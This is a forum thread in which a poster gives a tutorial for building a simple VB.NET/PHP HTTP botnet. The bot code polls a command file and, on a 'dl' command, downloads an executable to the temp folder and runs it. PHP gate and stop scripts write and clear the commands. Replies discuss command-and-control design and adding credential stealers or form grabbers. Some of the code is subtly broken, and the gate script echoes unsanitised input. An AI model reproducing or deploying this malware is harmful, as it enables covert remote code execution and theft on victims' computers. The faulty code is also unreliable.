Thread: [make your own vb.net/php HTTP botnet](#)

DangerZone90 - March 5, 2015, 11:58 am

basic commands for TUT
download and execute
message

first the vb.net bot side

above Public Class Form1 add
Quote:Imports System.Management
Imports System.Net

now under Public Class Form1, can also be added into a timer aswell by adding then double click the timer and just add this.

Quote:Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim W As New WebClient
Dim DownloadedFile As String = W.DownloadString("localhost/commands.txt")
Dim Command As String = DownloadedFile.Split("|")(0)
Dim AfterCommand As String = DownloadedFile.Split("|")(1)

Select Case Command.ToLower

Case Is = "m"

MsgBox(AfterCommand)

Case Is = "dl"

Dim newlocation As String = IO.Path.GetTempPath & "dsjkfhuise.exe"
Dim dle As New WebClient
dle.DownloadString(AfterCommand, newlocation)
Process.Start(newlocation)

Case Is = "nc"

'new command

End Select

End Sub

now php panel side

first add this to your php panel or php file

Quote:<form action="gate.php" method="get">

```
Command: <input type="text" name="command" />
<input type="submit" />
</form>
```

then make a gate.php and add

Quote:The command <?php echo \$_GET["command"]; ?> has been sent.

</br>

</br>

back.

<?php

```
$myFile = "commands.txt";
$fh = fopen($myFile, 'w') or die("File Open Failed.");
fwrite($fh, $_GET["command"]);
fclose($fh);
```

?>

the to stop or delete command make a stop.php and add

Quote:<?php

```
$file = 'commands.txt';
$f = fopen($file, 'w');
fclose($f);
```

?>

botnet side

working on now!

?I??? ??t - March 5, 2015, 12:10 pm

this will just work for 1 bot

but interessting for some newbies

Regards,

GSOmega

GSOmega

ye working on the rest with the mysql ect

Hiio - March 5, 2015, 8:36 pm

Don't center align code, it makes it hard to read.

?lixir - March 15, 2015, 7:09 pm

For the C&C Center, what would the best way for communication? Some panels write commands to a text file. I think having the bot pulling commands from a php file/mysqlDB using get would be the most optimal way of doing it.

DangerZone90 - March 15, 2015, 9:23 pm

Why in the fuck would you use two gate files? There is 100% no reason to do so, and this code looks fucking terrible.

it keeps it more stable. as in 1 gate for bots to load on and 2nd one for stealer or formgrabber ect

shizzl3r - March 21, 2015, 3:43 pm

Thanks for the code, good for learning purposes for newbies like me xD
